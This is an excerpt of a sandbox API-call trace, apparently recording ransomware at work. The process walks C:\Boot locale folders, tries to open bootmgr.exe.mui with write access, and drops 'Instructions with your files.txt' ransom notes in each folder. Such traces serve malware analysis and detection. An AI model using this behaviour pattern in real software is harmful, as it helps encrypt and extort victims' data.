[0032.986] WriteFile (in: hFile=0x108, lpBuffer=0x1363900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x1363900*, lpNumberOfBytesWritten=0xecf3a4*=0xc, lpOverlapped=0x0) returned 1
[0032.986] WriteFile (in: hFile=0x108, lpBuffer=0x2fe424*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x2fe424*, lpNumberOfBytesWritten=0xecf3a4*=0x16, lpOverlapped=0x0) returned 1
[0032.986] WriteFile (in: hFile=0x108, lpBuffer=0x1363910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x1363910*, lpNumberOfBytesWritten=0xecf3a4*=0x23, lpOverlapped=0x0) returned 1
[0032.986] CloseHandle (hObject=0x108) returned 1
[0032.986] FindClose (in: hFindFile=0x2fef00 | out: hFindFile=0x2fef00) returned 1
[0032.986] GetProcessHeap () returned 0x2e0000
[0032.986] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x325760 | out: hHeap=0x2e0000) returned 1
[0032.986] FindNextFileW (in: hFindFile=0x2feec0, lpFindFileData=0xecf654 | out: lpFindFileData=0xecf654*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1
[0032.986] wnsprintfW (in: pszDest=0x314750, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\pl-PL") returned 17
[0032.986] GetProcessHeap () returned 0x2e0000
[0032.986] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x325760
[0032.986] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\pl-PL\\*") returned 19
[0032.986] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\pl-PL\\*", lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4000000, dwReserved1=0x300568, cFileName=".", cAlternateFileName="")) returned 0x2fef00
[0032.987] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\pl-PL\\.") returned 19
[0032.987] FindNextFileW (in: hFindFile=0x2fef00, lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4000000, dwReserved1=0x300568, cFileName="..", cAlternateFileName="")) returned 1
[0032.987] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\pl-PL\\..") returned 20
[0032.987] FindNextFileW (in: hFindFile=0x2fef00, lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x4000000, dwReserved1=0x300568, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
[0032.987] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui") returned 33
[0032.987] StrStrIW (lpFirst="bootmgr.exe.mui", lpSrch="SDfghjkl") returned 0x0
[0032.987] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
[0033.007] FindNextFileW (in: hFindFile=0x2fef00, lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x4000000, dwReserved1=0x300568, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
[0033.007] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\pl-PL\\Instructions with your files.txt") returned 50
[0033.007] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\Instructions with your files.txt" (normalized: "c:\\boot\\pl-pl\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
[0033.008] WriteFile (in: hFile=0x108, lpBuffer=0x13638a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x13638a8*, lpNumberOfBytesWritten=0xecf3a4*=0x54, lpOverlapped=0x0) returned 1
[0033.008] WriteFile (in: hFile=0x108, lpBuffer=0x2fe3f2*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x2fe3f2*, lpNumberOfBytesWritten=0xecf3a4*=0x18, lpOverlapped=0x0) returned 1
[0033.008] WriteFile (in: hFile=0x108, lpBuffer=0x1363900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x1363900*, lpNumberOfBytesWritten=0xecf3a4*=0xc, lpOverlapped=0x0) returned 1
[0033.009] WriteFile (in: hFile=0x108, lpBuffer=0x2fe424*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x2fe424*, lpNumberOfBytesWritten=0xecf3a4*=0x16, lpOverlapped=0x0) returned 1
[0033.009] WriteFile (in: hFile=0x108, lpBuffer=0x1363910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x1363910*, lpNumberOfBytesWritten=0xecf3a4*=0x23, lpOverlapped=0x0) returned 1
[0033.009] CloseHandle (hObject=0x108) returned 1
[0033.009] FindClose (in: hFindFile=0x2fef00 | out: hFindFile=0x2fef00) returned 1
[0033.009] GetProcessHeap () returned 0x2e0000
[0033.009] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x325760 | out: hHeap=0x2e0000) returned 1
[0033.009] FindNextFileW (in: hFindFile=0x2feec0, lpFindFileData=0xecf654 | out: lpFindFileData=0xecf654*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1
[0033.009] wnsprintfW (in: pszDest=0x314750, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\pt-BR") returned 17
[0033.009] GetProcessHeap () returned 0x2e0000
[0033.009] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x325760
[0033.009] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\pt-BR\\*") returned 19
[0033.009] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\pt-BR\\*", lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4000000, dwReserved1=0x300568, cFileName=".", cAlternateFileName="")) returned 0x2fef00
[0033.009] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\pt-BR\\.") returned 19
[0033.009] FindNextFileW (in: hFindFile=0x2fef00, lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4000000, dwReserved1=0x300568, cFileName="..", cAlternateFileName="")) returned 1
[0033.009] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\pt-BR\\..") returned 20
[0033.010] FindNextFileW (in: hFindFile=0x2fef00, lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x4000000, dwReserved1=0x300568, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
[0033.010] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui") returned 33
[0033.010] StrStrIW (lpFirst="bootmgr.exe.mui", lpSrch="SDfghjkl") returned 0x0
[0033.010] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
[0033.010] FindNextFileW (in: hFindFile=0x2fef00, lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x4000000, dwReserved1=0x300568, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
[0033.010] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\pt-BR\\Instructions with your files.txt") returned 50
[0033.010] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\Instructions with your files.txt" (normalized: "c:\\boot\\pt-br\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
[0033.010] WriteFile (in: hFile=0x108, lpBuffer=0x13638a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x13638a8*, lpNumberOfBytesWritten=0xecf3a4*=0x54, lpOverlapped=0x0) returned 1
[0033.011] WriteFile (in: hFile=0x108, lpBuffer=0x2fe3f2*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x2fe3f2*, lpNumberOfBytesWritten=0xecf3a4*=0x18, lpOverlapped=0x0) returned 1
[0033.011] WriteFile (in: hFile=0x108, lpBuffer=0x1363900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x1363900*, lpNumberOfBytesWritten=0xecf3a4*=0xc, lpOverlapped=0x0) returned 1
[0033.011] WriteFile (in: hFile=0x108, lpBuffer=0x2fe424*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x2fe424*, lpNumberOfBytesWritten=0xecf3a4*=0x16, lpOverlapped=0x0) returned 1
[0033.011] WriteFile (in: hFile=0x108, lpBuffer=0x1363910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x1363910*, lpNumberOfBytesWritten=0xecf3a4*=0x23, lpOverlapped=0x0) returned 1
[0033.011] CloseHandle (hObject=0x108) returned 1
[0033.011] FindClose (in: hFindFile=0x2fef00 | out: hFindFile=0x2fef00) returned 1
[0033.011] GetProcessHeap () returned 0x2e0000
[0033.012] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x325760 | out: hHeap=0x2e0000) returned 1
[0033.012] FindNextFileW (in: hFindFile=0x2feec0, lpFindFileData=0xecf654 | out: lpFindFileData=0xecf654*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1
[0033.012] wnsprintfW (in: pszDest=0x314750, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\pt-PT") returned 17
[0033.012] GetProcessHeap () returned 0x2e0000
[0033.012] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x325760
[0033.012] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\pt-PT\\*") returned 19
[0033.012] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\pt-PT\\*", lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4000000, dwReserved1=0x300568, cFileName=".", cAlternateFileName="")) returned 0x2fef00
[0033.012] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\pt-PT\\.") returned 19
[0033.012] FindNextFileW (in: hFindFile=0x2fef00, lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4000000, dwReserved1=0x300568, cFileName="..", cAlternateFileName="")) returned 1
[0033.012] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\pt-PT\\..") returned 20
[0033.012] FindNextFileW (in: hFindFile=0x2fef00, lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x4000000, dwReserved1=0x300568, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
[0033.012] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 33
[0033.012] StrStrIW (lpFirst="bootmgr.exe.mui", lpSrch="SDfghjkl") returned 0x0
[0033.012] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
[0033.013] FindNextFileW (in: hFindFile=0x2fef00, lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x4000000, dwReserved1=0x300568, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
[0033.013] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\pt-PT\\Instructions with your files.txt") returned 50
[0033.013] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\Instructions with your files.txt" (normalized: "c:\\boot\\pt-pt\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
[0033.014] WriteFile (in: hFile=0x108, lpBuffer=0x13638a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x13638a8*, lpNumberOfBytesWritten=0xecf3a4*=0x54, lpOverlapped=0x0) returned 1
[0033.014] WriteFile (in: hFile=0x108, lpBuffer=0x2fe3f2*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x2fe3f2*, lpNumberOfBytesWritten=0xecf3a4*=0x18, lpOverlapped=0x0) returned 1
[0033.014] WriteFile (in: hFile=0x108, lpBuffer=0x1363900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x1363900*, lpNumberOfBytesWritten=0xecf3a4*=0xc, lpOverlapped=0x0) returned 1
[0033.015] WriteFile (in: hFile=0x108, lpBuffer=0x2fe424*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x2fe424*, lpNumberOfBytesWritten=0xecf3a4*=0x16, lpOverlapped=0x0) returned 1
[0033.015] WriteFile (in: hFile=0x108, lpBuffer=0x1363910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x1363910*, lpNumberOfBytesWritten=0xecf3a4*=0x23, lpOverlapped=0x0) returned 1
[0033.015] CloseHandle (hObject=0x108) returned 1
[0033.015] FindClose (in: hFindFile=0x2fef00 | out: hFindFile=0x2fef00) returned 1
[0033.015] GetProcessHeap () returned 0x2e0000
[0033.015] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x325760 | out: hHeap=0x2e0000) returned 1
[0033.015] FindNextFileW (in: hFindFile=0x2feec0, lpFindFileData=0xecf654 | out: lpFindFileData=0xecf654*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1
[0033.015] wnsprintfW (in: pszDest=0x314750, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\ru-RU") returned 17
[0033.015] GetProcessHeap () returned 0x2e0000
[0033.015] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x325760
[0033.015] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\ru-RU\\*") returned 19
[0033.015] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\ru-RU\\*", lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4000000, dwReserved1=0x300568, cFileName=".", cAlternateFileName="")) returned 0x2fef00
[0033.015] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\ru-RU\\.") returned 19
[0033.015] FindNextFileW (in: hFindFile=0x2fef00, lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4000000, dwReserved1=0x300568, cFileName="..", cAlternateFileName="")) returned 1
[0033.015] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\ru-RU\\..") returned 20
[0033.015] FindNextFileW (in: hFindFile=0x2fef00, lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x4000000, dwReserved1=0x300568, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
[0033.015] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 33
[0033.015] StrStrIW (lpFirst="bootmgr.exe.mui", lpSrch="SDfghjkl") returned 0x0
[0033.016] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
[0033.016] FindNextFileW (in: hFindFile=0x2fef00, lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x4000000, dwReserved1=0x300568, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
[0033.016] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\ru-RU\\Instructions with your files.txt") returned 50
[0033.016] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\Instructions with your files.txt" (normalized: "c:\\boot\\ru-ru\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
[0033.016] WriteFile (in: hFile=0x108, lpBuffer=0x13638a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x13638a8*, lpNumberOfBytesWritten=0xecf3a4*=0x54, lpOverlapped=0x0) returned 1
[0033.017] WriteFile (in: hFile=0x108, lpBuffer=0x2fe3f2*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x2fe3f2*, lpNumberOfBytesWritten=0xecf3a4*=0x18, lpOverlapped=0x0) returned 1
[0033.017] WriteFile (in: hFile=0x108, lpBuffer=0x1363900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x1363900*, lpNumberOfBytesWritten=0xecf3a4*=0xc, lpOverlapped=0x0) returned 1
[0033.017] WriteFile (in: hFile=0x108, lpBuffer=0x2fe424*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x2fe424*, lpNumberOfBytesWritten=0xecf3a4*=0x16, lpOverlapped=0x0) returned 1
[0033.017] WriteFile (in: hFile=0x108, lpBuffer=0x1363910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x1363910*, lpNumberOfBytesWritten=0xecf3a4*=0x23, lpOverlapped=0x0) returned 1
[0033.017] CloseHandle (hObject=0x108) returned 1
[0033.017] FindClose (in: hFindFile=0x2fef00 | out: hFindFile=0x2fef00) returned 1
[0033.017] GetProcessHeap () returned 0x2e0000
[0033.017] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x325760 | out: hHeap=0x2e0000) returned 1
